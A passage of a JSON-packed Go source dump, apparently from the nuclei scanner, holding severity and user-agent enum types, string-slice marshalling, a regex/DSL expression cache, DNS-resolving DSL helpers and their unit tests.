[]byte) error {\n\tvar stringSliceValue stringslice.StringSlice\n\tif err := json.Unmarshal(data, &stringSliceValue); err != nil {\n\t\treturn err\n\t}\n\n\tstringSLice := stringSliceValue.ToSlice()\n\tvar result = make(Severities, 0, len(stringSLice))\n\tfor _, severityString := range stringSLice {\n\t\tif err := setSeverity(&result, severityString); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*severities = result\n\treturn nil\n}\n\nfunc (severities Severities) String() string {\n\tvar stringSeverities = make([]string, 0, len(severities))\n\tfor _, severity := range severities {\n\t\tstringSeverities = append(stringSeverities, severity.String())\n\t}\n\treturn strings.Join(stringSeverities, \", \")\n}\n\nfunc (severities Severities) MarshalJSON() ([]byte, error) {\n\tvar stringSeverities = make([]string, 0, len(severities))\n\tfor _, severity := range severities {\n\t\tstringSeverities = append(stringSeverities, severity.String())\n\t}\n\treturn json.Marshal(stringSeverities)\n}\n\nfunc setSeverity(severities *Severities, value string) error {\n\tcomputedSeverity, err := toSeverity(value)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"'%s' is not a valid severity\", value)\n\t}\n\n\t// TODO change the Severities type to map[Severity]interface{}, where the values are struct{}{}, to \"simulates\" a \"set\" data structure\n\t*severities = append(*severities, computedSeverity)\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/model/types/severity/severity.go",
    "content": "package severity\n\nimport (\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\ntype Severity int\n\n// name:Severity\nconst (\n\t// name:undefined\n\tUndefined Severity = iota\n\t// name:info\n\tInfo\n\t// name:low\n\tLow\n\t// name:medium\n\tMedium\n\t// name:high\n\tHigh\n\t// name:critical\n\tCritical\n\t// name:unknown\n\tUnknown\n\tlimit\n)\n\nvar severityMappings = map[Severity]string{\n\tInfo:     \"info\",\n\tLow:      \"low\",\n\tMedium:   \"medium\",\n\tHigh:     \"high\",\n\tCritical: \"critical\",\n\tUnknown:  \"unknown\",\n}\n\nfunc GetSupportedSeverities() Severities {\n\tvar result []Severity\n\tfor index := Severity(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toSeverity(valueToMap string) (Severity, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range severityMappings {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid severity: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (severity Severity) String() string {\n\treturn severityMappings[severity]\n}\n\n// Holder holds a Severity type. Required for un/marshalling purposes\n//\n//nolint:exported,revive //prefer to be explicit about the name, and make it refactor-safe\ntype Holder struct {\n\tSeverity Severity `mapping:\"true\"`\n}\n\n// Implement a jsonschema for the severity holder\nfunc (severityHolder Holder) JSONSchema() *jsonschema.Schema {\n\tenums := []interface{}{}\n\tfor _, severity := range GetSupportedSeverities() {\n\t\tenums = append(enums, severity.String())\n\t}\n\treturn &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"severity of the template\",\n\t\tDescription: \"Seriousness of the implications of the template\",\n\t\tEnum:        enums,\n\t}\n}\n\nfunc (severityHolder *Holder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledSeverity string\n\tif err := unmarshal(&marshalledSeverity); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedSeverity, err := toSeverity(marshalledSeverity)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tseverityHolder.Severity = computedSeverity\n\treturn nil\n}\n\nfunc (severityHolder *Holder) UnmarshalJSON(data []byte) error {\n\tvar marshalledSeverity string\n\tif err := json.Unmarshal(data, &marshalledSeverity); err != nil {\n\t\treturn err\n\t}\n\n\tcomputedSeverity, err := toSeverity(marshalledSeverity)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tseverityHolder.Severity = computedSeverity\n\treturn nil\n}\n\nfunc (severityHolder Holder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(severityHolder.Severity.String())\n}\n\nfunc (severityHolder Holder) MarshalYAML() (interface{}, error) {\n\treturn severityHolder.Severity.String(), nil\n}\n"
  },
  {
    "path": "pkg/model/types/severity/severity_test.go",
    "content": "package severity\n\nimport (\n\t\"testing\"\n\n\t\"gopkg.in/yaml.v2\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestYamlUnmarshal(t *testing.T) {\n\ttestUnmarshal(t, yaml.Unmarshal, func(value string) string { return value })\n}\n\nfunc TestYamlMarshal(t *testing.T) {\n\tseverity := Holder{Severity: High}\n\n\tmarshalled, err := severity.MarshalYAML()\n\trequire.Nil(t, err, \"could not marshal yaml\")\n\trequire.Equal(t, \"high\", marshalled, \"could not marshal severity correctly\")\n}\n\nfunc TestYamlUnmarshalFail(t *testing.T) {\n\ttestUnmarshalFail(t, yaml.Unmarshal, createYAML)\n}\n\nfunc TestGetSupportedSeverities(t *testing.T) {\n\tseverities := GetSupportedSeverities()\n\trequire.Equal(t, severities, Severities{Info, Low, Medium, High, Critical, Unknown})\n}\n\nfunc testUnmarshal(t *testing.T, unmarshaller func(data []byte, v interface{}) error, payloadCreator func(value string) string) {\n\tt.Helper()\n\tpayloads := [...]string{\n\t\tpayloadCreator(\"Info\"),\n\t\tpayloadCreator(\"info\"),\n\t\tpayloadCreator(\"inFo \"),\n\t\tpayloadCreator(\"infO \"),\n\t\tpayloadCreator(\" INFO \"),\n\t}\n\n\tfor _, payload := range payloads { // nolint:scopelint // false-positive\n\t\tt.Run(payload, func(t *testing.T) {\n\t\t\tresult := unmarshal(payload, unmarshaller)\n\t\t\trequire.Equal(t, result.Severity, Info)\n\t\t\trequire.Equal(t, result.Severity.String(), \"info\")\n\t\t})\n\t}\n}\n\nfunc testUnmarshalFail(t *testing.T, unmarshaller func(data []byte, v interface{}) error, payloadCreator func(value string) string) {\n\tt.Helper()\n\trequire.Panics(t, func() { unmarshal(payloadCreator(\"invalid\"), unmarshaller) })\n}\n\nfunc unmarshal(value string, unmarshaller func(data []byte, v interface{}) error) Holder {\n\tseverityStruct := Holder{}\n\tvar err = unmarshaller([]byte(value), &severityStruct)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn severityStruct\n}\n\nfunc createYAML(value string) string {\n\treturn \"severity: \" + value + \"\\n\"\n}\n\nfunc TestMarshalJSON(t *testing.T) {\n\tunmarshalled := Severities{Low, Medium}\n\tdata, err := unmarshalled.MarshalJSON()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trequire.Equal(t, \"[\\\"low\\\",\\\"medium\\\"]\", string(data), \"could not marshal json\")\n}\n\nfunc TestSeveritiesMarshalYaml(t *testing.T) {\n\tunmarshalled := Severities{Low, Medium}\n\tmarshalled, err := yaml.Marshal(unmarshalled)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\trequire.Equal(t, \"- low\\n- medium\\n\", string(marshalled), \"could not marshal yaml\")\n}\n"
  },
  {
    "path": "pkg/model/types/stringslice/stringslice.go",
    "content": "package stringslice\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\ntype StringOrSlice string\n\nfunc (StringOrSlice) JSONSchema() *jsonschema.Schema {\n\treturn &jsonschema.Schema{\n\t\tOneOf: []*jsonschema.Schema{\n\t\t\t{\n\t\t\t\tType: \"string\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tType: \"array\",\n\t\t\t},\n\t\t},\n\t}\n}\n\n// StringSlice represents a single (in-lined) or multiple string value(s).\n// The unmarshaller does not automatically convert in-lined strings to []string, hence the interface{} type is required.\ntype StringSlice struct {\n\tValue interface{}\n}\n\n// Implement alias for stringslice and reuse it everywhere\nfunc (stringSlice StringSlice) JSONSchemaAlias() any {\n\treturn StringOrSlice(\"\")\n}\n\nfunc New(value interface{}) StringSlice {\n\treturn StringSlice{Value: value}\n}\n\nfunc (stringSlice *StringSlice) IsEmpty() bool {\n\treturn len(stringSlice.ToSlice()) == 0\n}\n\nfunc (stringSlice StringSlice) ToSlice() []string {\n\tswitch value := stringSlice.Value.(type) {\n\tcase string:\n\t\treturn []string{value}\n\tcase []string:\n\t\treturn value\n\tcase nil:\n\t\treturn []string{}\n\tdefault:\n\t\tpanic(fmt.Sprintf(\"Unexpected StringSlice type: '%T'\", value))\n\t}\n}\n\nfunc (stringSlice StringSlice) String() string {\n\treturn strings.Join(stringSlice.ToSlice(), \", \")\n}\n\nfunc (stringSlice *StringSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmarshalledSlice, err := marshalStringToSlice(unmarshal)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tresult := make([]string, 0, len(marshalledSlice))\n\tfor _, value := range marshalledSlice {\n\t\tresult = append(result, stringSlice.Normalize(value))\n\t}\n\tstringSlice.Value = result\n\treturn nil\n}\n\nfunc (stringSlice StringSlice) Normalize(value string) string {\n\treturn strings.ToLower(strings.TrimSpace(value))\n}\n\nfunc (stringSlice StringSlice) MarshalYAML() (interface{}, error) {\n\treturn stringSlice.Value, nil\n}\n\nfunc (stringSlice StringSlice) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(stringSlice.Value)\n}\n\nfunc (stringSlice *StringSlice) UnmarshalJSON(data []byte) error {\n\tvar marshalledValueAsString string\n\tvar marshalledValuesAsSlice []string\n\n\tsliceMarshalError := json.Unmarshal(data, &marshalledValuesAsSlice)\n\tif sliceMarshalError != nil {\n\t\tstringMarshalError := json.Unmarshal(data, &marshalledValueAsString)\n\t\tif stringMarshalError != nil {\n\t\t\treturn stringMarshalError\n\t\t}\n\t}\n\n\tvar result []string\n\tswitch {\n\tcase len(marshalledValuesAsSlice) > 0:\n\t\tresult = marshalledValuesAsSlice\n\tcase !utils.IsBlank(marshalledValueAsString):\n\t\tresult = strings.Split(marshalledValueAsString, \",\")\n\tdefault:\n\t\tresult = []string{}\n\t}\n\n\tvalues := make([]string, 0, len(result))\n\tfor _, value := range result {\n\t\tvalues = append(values, stringSlice.Normalize(value))\n\t}\n\tstringSlice.Value = values\n\treturn nil\n}\n\nfunc marshalStringToSlice(unmarshal func(interface{}) error) ([]string, error) {\n\tvar marshalledValueAsString string\n\tvar marshalledValuesAsSlice []string\n\n\tsliceMarshalError := unmarshal(&marshalledValuesAsSlice)\n\tif sliceMarshalError != nil {\n\t\tstringMarshalError := unmarshal(&marshalledValueAsString)\n\t\tif stringMarshalError != nil {\n\t\t\treturn nil, stringMarshalError\n\t\t}\n\t}\n\n\tvar result []string\n\tswitch {\n\tcase len(marshalledValuesAsSlice) > 0:\n\t\tresult = marshalledValuesAsSlice\n\tcase !utils.IsBlank(marshalledValueAsString):\n\t\tresult = strings.Split(marshalledValueAsString, \",\")\n\tdefault:\n\t\tresult = []string{}\n\t}\n\n\treturn result, nil\n}\n"
  },
  {
    "path": "pkg/model/types/stringslice/stringslice_raw.go",
    "content": "package stringslice\n\ntype RawStringSlice struct {\n\tStringSlice\n}\n\nfunc NewRawStringSlice(value interface{}) *RawStringSlice {\n\treturn &RawStringSlice{StringSlice: StringSlice{Value: value}}\n}\n\nfunc (rawStringSlice *RawStringSlice) Normalize(value string) string {\n\treturn value\n}\n\nfunc (rawStringSlice *RawStringSlice) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tmarshalledSlice, err := marshalStringToSlice(unmarshal)\n\tif err != nil {\n\t\treturn err\n\t}\n\trawStringSlice.Value = marshalledSlice\n\treturn nil\n}\n\nfunc (rawStringSlice RawStringSlice) JSONSchemaAlias() any {\n\treturn StringOrSlice(\"\")\n}\n"
  },
  {
    "path": "pkg/model/types/userAgent/user_agent.go",
    "content": "package userAgent\n\nimport (\n\t\"strings\"\n\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\ntype UserAgent int\n\n// name:UserAgent\nconst (\n\t// name:random\n\tRandom UserAgent = iota\n\t// name:off\n\tOff\n\t// name:default\n\tDefault\n\t// name:custom\n\tCustom\n\tlimit\n)\n\nvar userAgentMappings = map[UserAgent]string{\n\tRandom:  \"random\",\n\tOff:     \"off\",\n\tDefault: \"default\",\n\tCustom:  \"custom\",\n}\n\nfunc GetSupportedUserAgentOptions() []UserAgent {\n\tvar result []UserAgent\n\tfor index := UserAgent(1); index < limit; index++ {\n\t\tresult = append(result, index)\n\t}\n\treturn result\n}\n\nfunc toUserAgent(valueToMap string) (UserAgent, error) {\n\tnormalizedValue := normalizeValue(valueToMap)\n\tfor key, currentValue := range userAgentMappings {\n\t\tif normalizedValue == currentValue {\n\t\t\treturn key, nil\n\t\t}\n\t}\n\treturn -1, errors.New(\"Invalid userAgent: \" + valueToMap)\n}\n\nfunc normalizeValue(value string) string {\n\treturn strings.TrimSpace(strings.ToLower(value))\n}\n\nfunc (userAgent UserAgent) String() string {\n\treturn userAgentMappings[userAgent]\n}\n\n// UserAgentHolder holds a UserAgent type. Required for un/marshalling purposes\ntype UserAgentHolder struct {\n\tValue UserAgent `mapping:\"true\"`\n}\n\nfunc (userAgentHolder UserAgentHolder) JSONSchema() *jsonschema.Schema {\n\tgotType := &jsonschema.Schema{\n\t\tType:        \"string\",\n\t\tTitle:       \"userAgent for the headless\",\n\t\tDescription: \"userAgent for the headless http request\",\n\t}\n\tfor _, userAgent := range GetSupportedUserAgentOptions() {\n\t\tgotType.Enum = append(gotType.Enum, userAgent.String())\n\t}\n\treturn gotType\n}\n\nfunc (userAgentHolder *UserAgentHolder) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar marshalledUserAgent string\n\tif err := unmarshal(&marshalledUserAgent); err != nil {\n\t\treturn err\n\t}\n\tcomputedUserAgent, err := toUserAgent(marshalledUserAgent)\n\tif err != nil {\n\t\treturn err\n\t}\n\tuserAgentHolder.Value = computedUserAgent\n\treturn nil\n}\n\nfunc (userAgentHolder *UserAgentHolder) UnmarshalJSON(data []byte) error {\n\ts := strings.Trim(string(data), `\"`)\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tcomputedUserAgent, err := toUserAgent(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tuserAgentHolder.Value = computedUserAgent\n\treturn nil\n}\n\nfunc (userAgentHolder *UserAgentHolder) MarshalJSON() ([]byte, error) {\n\treturn json.Marshal(userAgentHolder.Value.String())\n}\n\nfunc (userAgentHolder UserAgentHolder) MarshalYAML() (interface{}, error) {\n\treturn userAgentHolder.Value.String(), nil\n}\n"
  },
  {
    "path": "pkg/model/workflow_loader.go",
    "content": "package model\n\n// TODO shouldn't this rather be TemplateLoader?\n\n// WorkflowLoader is a loader interface required for workflow initialization.\ntype WorkflowLoader interface {\n\t// GetTemplatePathsByTags returns a list of template paths based on the provided tags from the templates directory\n\tGetTemplatePathsByTags(tags []string) []string\n\n\t// GetTemplatePaths takes a list of templates and returns paths for them\n\tGetTemplatePaths(templatesList []string, noValidate bool) []string\n}\n"
  },
  {
    "path": "pkg/operators/cache/cache.go",
    "content": "package cache\n\nimport (\n\t\"regexp\"\n\t\"sync\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/gcache\"\n)\n\nvar (\n\tinitOnce sync.Once\n\tmu       sync.RWMutex\n\n\tregexCap = 4096\n\tdslCap   = 4096\n\n\tregexCache gcache.Cache[string, *regexp.Regexp]\n\tdslCache   gcache.Cache[string, *govaluate.EvaluableExpression]\n)\n\nfunc initCaches() {\n\tinitOnce.Do(func() {\n\t\tregexCache = gcache.New[string, *regexp.Regexp](regexCap).LRU().Build()\n\t\tdslCache = gcache.New[string, *govaluate.EvaluableExpression](dslCap).LRU().Build()\n\t})\n}\n\nfunc SetCapacities(regexCapacity, dslCapacity int) {\n\t// ensure caches are initialized under initOnce, so later Regex()/DSL() won't re-init\n\tinitCaches()\n\n\tmu.Lock()\n\tdefer mu.Unlock()\n\n\tif regexCapacity > 0 {\n\t\tregexCap = regexCapacity\n\t}\n\tif dslCapacity > 0 {\n\t\tdslCap = dslCapacity\n\t}\n\tif regexCapacity <= 0 && dslCapacity <= 0 {\n\t\treturn\n\t}\n\t// rebuild caches with new capacities\n\tregexCache = gcache.New[string, *regexp.Regexp](regexCap).LRU().Build()\n\tdslCache = gcache.New[string, *govaluate.EvaluableExpression](dslCap).LRU().Build()\n}\n\nfunc Regex() gcache.Cache[string, *regexp.Regexp] {\n\tinitCaches()\n\tmu.RLock()\n\tdefer mu.RUnlock()\n\treturn regexCache\n}\n\nfunc DSL() gcache.Cache[string, *govaluate.EvaluableExpression] {\n\tinitCaches()\n\tmu.RLock()\n\tdefer mu.RUnlock()\n\treturn dslCache\n}\n"
  },
  {
    "path": "pkg/operators/cache/cache_test.go",
    "content": "package cache\n\nimport (\n\t\"regexp\"\n\t\"testing\"\n\n\t\"github.com/Knetic/govaluate\"\n)\n\nfunc TestRegexCache_SetGet(t *testing.T) {\n\t// ensure init\n\tc := Regex()\n\tpattern := \"abc(\\n)?123\"\n\tre, err := regexp.Compile(pattern)\n\tif err != nil {\n\t\tt.Fatalf(\"compile: %v\", err)\n\t}\n\tif err := c.Set(pattern, re); err != nil {\n\t\tt.Fatalf(\"set: %v\", err)\n\t}\n\tgot, err := c.GetIFPresent(pattern)\n\tif err != nil || got == nil {\n\t\tt.Fatalf(\"get: %v got=%v\", err, got)\n\t}\n\tif got.String() != re.String() {\n\t\tt.Fatalf(\"mismatch: %s != %s\", got.String(), re.String())\n\t}\n}\n\nfunc TestDSLCache_SetGet(t *testing.T) {\n\tc := DSL()\n\texpr := \"1 + 2 == 3\"\n\tast, err := govaluate.NewEvaluableExpression(expr)\n\tif err != nil {\n\t\tt.Fatalf(\"dsl compile: %v\", err)\n\t}\n\tif err := c.Set(expr, ast); err != nil {\n\t\tt.Fatalf(\"set: %v\", err)\n\t}\n\tgot, err := c.GetIFPresent(expr)\n\tif err != nil || got == nil {\n\t\tt.Fatalf(\"get: %v got=%v\", err, got)\n\t}\n\tif got.String() != ast.String() {\n\t\tt.Fatalf(\"mismatch: %s != %s\", got.String(), ast.String())\n\t}\n}\n\nfunc TestRegexCache_EvictionByCapacity(t *testing.T) {\n\tSetCapacities(3, 3)\n\tc := Regex()\n\tfor i := 0; i < 5; i++ {\n\t\tk := string(rune('a' + i))\n\t\tre := regexp.MustCompile(k)\n\t\t_ = c.Set(k, re)\n\t}\n\t// last 3 keys expected to remain under LRU: 'c','d','e'\n\tif _, err := c.GetIFPresent(\"a\"); err == nil {\n\t\tt.Fatalf(\"expected 'a' to be evicted\")\n\t}\n\tif _, err := c.GetIFPresent(\"b\"); err == nil {\n\t\tt.Fatalf(\"expected 'b' to be evicted\")\n\t}\n\tif _, err := c.GetIFPresent(\"c\"); err != nil {\n\t\tt.Fatalf(\"expected 'c' present\")\n\t}\n}\n\nfunc TestSetCapacities_NoRebuildOnZero(t *testing.T) {\n\t// init\n\tSetCapacities(4, 4)\n\tc1 := Regex()\n\t_ = c1.Set(\"k\", regexp.MustCompile(\"k\"))\n\tif _, err := c1.GetIFPresent(\"k\"); err != nil {\n\t\tt.Fatalf(\"expected key present: %v\", err)\n\t}\n\t// zero changes should not rebuild/clear caches\n\tSetCapacities(0, 0)\n\tc2 := Regex()\n\tif _, err := c2.GetIFPresent(\"k\"); err != nil {\n\t\tt.Fatalf(\"key lost after zero-capacity SetCapacities: %v\", err)\n\t}\n}\n\nfunc TestSetCapacities_BeforeFirstUse(t *testing.T) {\n\t// This should not be overridden by later initCaches\n\tSetCapacities(2, 0)\n\tc := Regex()\n\t_ = c.Set(\"a\", regexp.MustCompile(\"a\"))\n\t_ = c.Set(\"b\", regexp.MustCompile(\"b\"))\n\t_ = c.Set(\"c\", regexp.MustCompile(\"c\"))\n\tif _, err := c.GetIFPresent(\"a\"); err == nil {\n\t\tt.Fatalf(\"expected 'a' to be evicted under cap=2\")\n\t}\n}\n\nfunc TestSetCapacities_ConcurrentAccess(t *testing.T) {\n\tSetCapacities(64, 64)\n\tstop := make(chan struct{})\n\n\tgo func() {\n\t\tfor i := 0; i < 5000; i++ {\n\t\t\t_ = Regex().Set(\"k\"+string(rune('a'+(i%26))), regexp.MustCompile(\"a\"))\n\t\t\t_, _ = Regex().GetIFPresent(\"k\" + string(rune('a'+(i%26))))\n\t\t\t_, _ = DSL().GetIFPresent(\"1+2==3\")\n\t\t}\n\t\tclose(stop)\n\t}()\n\n\tfor i := 0; i < 200; i++ {\n\t\tSetCapacities(64+(i%5), 64+((i+1)%5))\n\t}\n\t<-stop\n}\n"
  },
  {
    "path": "pkg/operators/common/dsl/dsl.go",
    "content": "package dsl\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/miekg/dns\"\n\t\"github.com/projectdiscovery/dsl\"\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\tHelperFunctions map[string]govaluate.ExpressionFunction\n\tFunctionNames   []string\n\t// knownPorts is a list of known ports for protocols implemented in nuclei\n\tknowPorts = []string{\"80\", \"443\", \"8080\", \"8081\", \"8443\", \"53\"}\n)\n\nfunc init() {\n\t_ = dsl.AddFunction(dsl.NewWithMultipleSignatures(\"resolve\", []string{\n\t\t\"(host string) string\",\n\t\t\"(format string) string\",\n\t}, false, func(args ...interface{}) (interface{}, error) {\n\t\targCount := len(args)\n\t\tif argCount == 0 || argCount > 2 {\n\t\t\treturn nil, dsl.ErrInvalidDslFunction\n\t\t}\n\t\tformat := \"4\"\n\t\tvar dnsType uint16\n\t\tif len(args) > 1 {\n\t\t\tformat = strings.ToLower(types.ToString(args[1]))\n\t\t}\n\n\t\tswitch format {\n\t\tcase \"4\", \"a\":\n\t\t\tdnsType = dns.TypeA\n\t\tcase \"6\", \"aaaa\":\n\t\t\tdnsType = dns.TypeAAAA\n\t\tcase \"cname\":\n\t\t\tdnsType = dns.TypeCNAME\n\t\tcase \"ns\":\n\t\t\tdnsType = dns.TypeNS\n\t\tcase \"txt\":\n\t\t\tdnsType = dns.TypeTXT\n\t\tcase \"srv\":\n\t\t\tdnsType = dns.TypeSRV\n\t\tcase \"ptr\":\n\t\t\tdnsType = dns.TypePTR\n\t\tcase \"mx\":\n\t\t\tdnsType = dns.TypeMX\n\t\tcase \"soa\":\n\t\t\tdnsType = dns.TypeSOA\n\t\tcase \"caa\":\n\t\t\tdnsType = dns.TypeCAA\n\t\tdefault:\n\t\t\treturn nil, fmt.Errorf(\"invalid dns type\")\n\t\t}\n\n\t\toptions := &types.Options{}\n\t\terr := dnsclientpool.Init(options)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tdnsClient, err := dnsclientpool.Get(options, &dnsclientpool.Configuration{})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\t// query\n\t\trawResp, err := dnsClient.Query(types.ToString(args[0]), dnsType)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdnsValues := map[uint16][]string{\n\t\t\tdns.TypeA:     rawResp.A,\n\t\t\tdns.TypeAAAA:  rawResp.AAAA,\n\t\t\tdns.TypeCNAME: rawResp.CNAME,\n\t\t\tdns.TypeNS:    rawResp.NS,\n\t\t\tdns.TypeTXT:   rawResp.TXT,\n\t\t\tdns.TypeSRV:   rawResp.SRV,\n\t\t\tdns.TypePTR:   rawResp.PTR,\n\t\t\tdns.TypeMX:    rawResp.MX,\n\t\t\tdns.TypeCAA:   rawResp.CAA,\n\t\t\tdns.TypeSOA:   rawResp.GetSOARecords(),\n\t\t}\n\n\t\tif values, ok := dnsValues[dnsType]; ok {\n\t\t\tfirstFound, found := sliceutil.FirstNonZero(values)\n\t\t\tif found {\n\t\t\t\treturn firstFound, nil\n\t\t\t}\n\t\t}\n\n\t\treturn \"\", fmt.Errorf(\"no records found\")\n\t}))\n\t_ = dsl.AddFunction(dsl.NewWithMultipleSignatures(\"getNetworkPort\", []string{\n\t\t\"(Port string,defaultPort string) string)\",\n\t\t\"(Port int,defaultPort int) int\",\n\t}, false, func(args ...interface{}) (interface{}, error) {\n\t\tif len(args) != 2 {\n\t\t\treturn nil, dsl.ErrInvalidDslFunction\n\t\t}\n\t\tport := types.ToString(args[0])\n\t\tdefaultPort := types.ToString(args[1])\n\t\tif port == \"\" || stringsutil.EqualFoldAny(port, knowPorts...) {\n\t\t\treturn defaultPort, nil\n\t\t}\n\t\treturn port, nil\n\t}))\n\n\tdsl.PrintDebugCallback = func(args ...interface{}) error {\n\t\tgologger.Debug().Msgf(\"print_debug value: %s\", fmt.Sprint(args...))\n\t\treturn nil\n\t}\n\n\tHelperFunctions = dsl.HelperFunctions()\n\tFunctionNames = dsl.GetFunctionNames(HelperFunctions)\n}\n\ntype CompilationError struct {\n\tDslSignature string\n\tWrappedError error\n}\n\nfunc (e *CompilationError) Error() string {\n\treturn fmt.Sprintf(\"could not compile DSL expression %q: %v\", e.DslSignature, e.WrappedError)\n}\n\nfunc (e *CompilationError) Unwrap() error {\n\treturn e.WrappedError\n}\n\nfunc GetPrintableDslFunctionSignatures(noColor bool) string {\n\treturn dsl.GetPrintableDslFunctionSignatures(noColor)\n}\n"
  },
  {
    "path": "pkg/operators/common/dsl/dsl_test.go",
    "content": "package dsl\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestDslExpressions(t *testing.T) {\n\t// Use Google DNS for more reliable testing\n\tgoogleDNS := []string{\"8.8.8.8:53\", \"8.8.4.4:53\"}\n\n\tdslExpressions := map[string]interface{}{\n\t\t`resolve(\"scanme.sh\")`:        \"128.199.158.128\",\n\t\t`resolve(\"scanme.sh\",\"a\")`:    \"128.199.158.128\",\n\t\t`resolve(\"scanme.sh\",\"6\")`:    \"2400:6180:0:d0::91:1001\",\n\t\t`resolve(\"scanme.sh\",\"aaaa\")`: \"2400:6180:0:d0::91:1001\",\n\t\t`resolve(\"scanme.sh\",\"soa\")`:  \"ns69.domaincontrol.com\",\n\t}\n\n\ttestDslExpressionScenariosWithDNS(t, dslExpressions, googleDNS)\n}\n\nfunc evaluateExpression(t *testing.T, dslExpression string) interface{} {\n\tcompiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, HelperFunctions)\n\trequire.NoError(t, err, \"Error while compiling the %q expression\", dslExpression)\n\n\tactualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))\n\trequire.NoError(t, err, \"Error while evaluating the compiled %q expression\", dslExpression)\n\n\tfor _, negativeTestWord := range []string{\"panic\", \"invalid\", \"error\"} {\n\t\trequire.NotContains(t, fmt.Sprintf(\"%v\", actualResult), negativeTestWord)\n\t}\n\n\treturn actualResult\n}\n\nfunc testDslExpressionScenariosWithDNS(t *testing.T, dslExpressions map[string]interface{}, resolvers []string) {\n\t// Initialize DNS client pool with custom resolvers for testing\n\terr := dnsclientpool.Init(&types.Options{\n\t\tInternalResolversList: resolvers,\n\t})\n\trequire.NoError(t, err, \"Failed to initialize DNS client pool with custom resolvers\")\n\n\tfor dslExpression, expectedResult := range dslExpressions {\n\t\tt.Run(dslExpression, func(t *testing.T) {\n\t\t\tactualResult := evaluateExpression(t, dslExpression)\n\n\t\t\tif expectedResult != nil {\n\t\t\t\trequire.Equal(t, expectedResult, actualResult)\n\t\t\t}\n\n\t\t\tfmt.Printf(\"%s: \\t %v\\n\", dslExpression, actualResult)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/operators/extractors/compile.go",
    "content": "package extractors\n\nimport (\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/Knetic/govaluate\"\n\t\"github.com/itchyny/gojq\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/cache\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n)\n\n// CompileExtractors performs the initial setup operation on an extractor\nfunc (e *Extractor) CompileExtractors() error {\n\t// Set up the extractor type\n\tcomputedType, err := toExtractorTypes(e.GetType().String())\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unknown extractor type specified: %s\", e.Type)\n\t}\n\te.extractorType = computedType\n\t// Compile the regexes\n\tfor _, regex := range e.Regex {\n\t\tif cached, err := cache.Regex().GetIFPresent(regex); err == nil && cached != nil {\n\t\t\te.regexCompiled = append(e.regexCompiled, cached)\n\t\t\tcontinue\n\t\t}\n\t\tcompiled, err := regexp.Compile(regex)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not compile regex: %s\", regex)\n\t\t}\n\t\t_ = cache.Regex().Set(regex, compiled)\n\t\te.regexCompiled = append(e.regexCompiled, compiled)\n\t}\n\tfor i, kval := range e.KVal {\n\t\te.KVal[i] = strings.ToLower(kval)\n\t}\n\n\tfor _, query := range e.JSON {\n\t\tquery, err := gojq.Parse(query)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"could not parse json: %s\", 